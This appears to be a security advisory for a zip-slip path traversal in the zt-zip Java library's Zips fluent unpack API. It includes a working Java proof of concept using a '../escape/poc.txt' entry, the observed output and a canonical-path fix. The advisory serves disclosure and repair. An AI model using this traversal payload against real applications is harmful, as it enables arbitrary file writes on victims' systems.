ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.
A ZIP entry such as:
../escape/poc.txt
is written outside the configured destination directory when processed with:
Zips.get(zip).unpack().destination(outputDir).process();
The transformer branch is affected as well.
commit: 067935dca375500d3ff025aafcdf0e4283931b1a
In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:
String entryName = zipEntry.getName();
File file = new File(destination, entryName);
The method then creates directories/files and copies content to that path:
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);
When a transformer is configured, the same file is passed to transformIntoFile(...).
There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;
public class ZipsTraversalPoc {
public static void main(String[] args) throws Exception {
Path work = Files.createTempDirectory("ztzip-zips-poc");
Path zip = work.resolve("poc.zip");
Path escaped = work.resolve("escape").resolve("poc.txt");
String entryName = "../escape/poc.txt";
Files.createDirectories(escaped.getParent());
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
zos.putNextEntry(new ZipEntry(entryName));
zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
zos.closeEntry();
}
Path zipUtilOut = work.resolve("ziputil-out");
Files.createDirectories(zipUtilOut);
try {
ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
System.out.println("ZIPUTIL_REJECTED=false");
}
catch (Throwable t) {
System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
}
System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));
Files.deleteIfExists(escaped);
Path zipsOut = work.resolve("zips-out");
Files.createDirectories(zipsOut);
Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));
Files.deleteIfExists(escaped);
Path zipsTransformOut = work.resolve("zips-transform-out");
Files.createDirectories(zipsTransformOut);
Zips.get(zip.toFile())
.unpack()
.destination(zipsTransformOut.toFile())
.addTransformer(entryName, new ZipEntryTransformer() {
public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
out.putNextEntry(new ZipEntry(entry.getName()));
out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
out.closeEntry();
}
})
.process();
System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
}
}
Observed output:
ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true
Zips.get(zip).unpack().destination(outputDir).process() should reject traversal entries or otherwise ensure that the resolved output path remains inside outputDir.
Applications that unpack attacker-controlled ZIP files through the Zips fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.
Apply the same destination-boundary validation used by ZipUtil.unpack(...) before any filesystem write in Zips.UnpackingCallback.process(...).
For example, compare canonical Path values before creating directories or files:
file.getCanonicalFile().toPath()
.startsWith(destination.getCanonicalFile().toPath())
Regression tests should cover both:
Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T18:47:27Z",
"nvd_published_at": "2026-11-03T18:18:03Z",
"severity": "HIGH"
}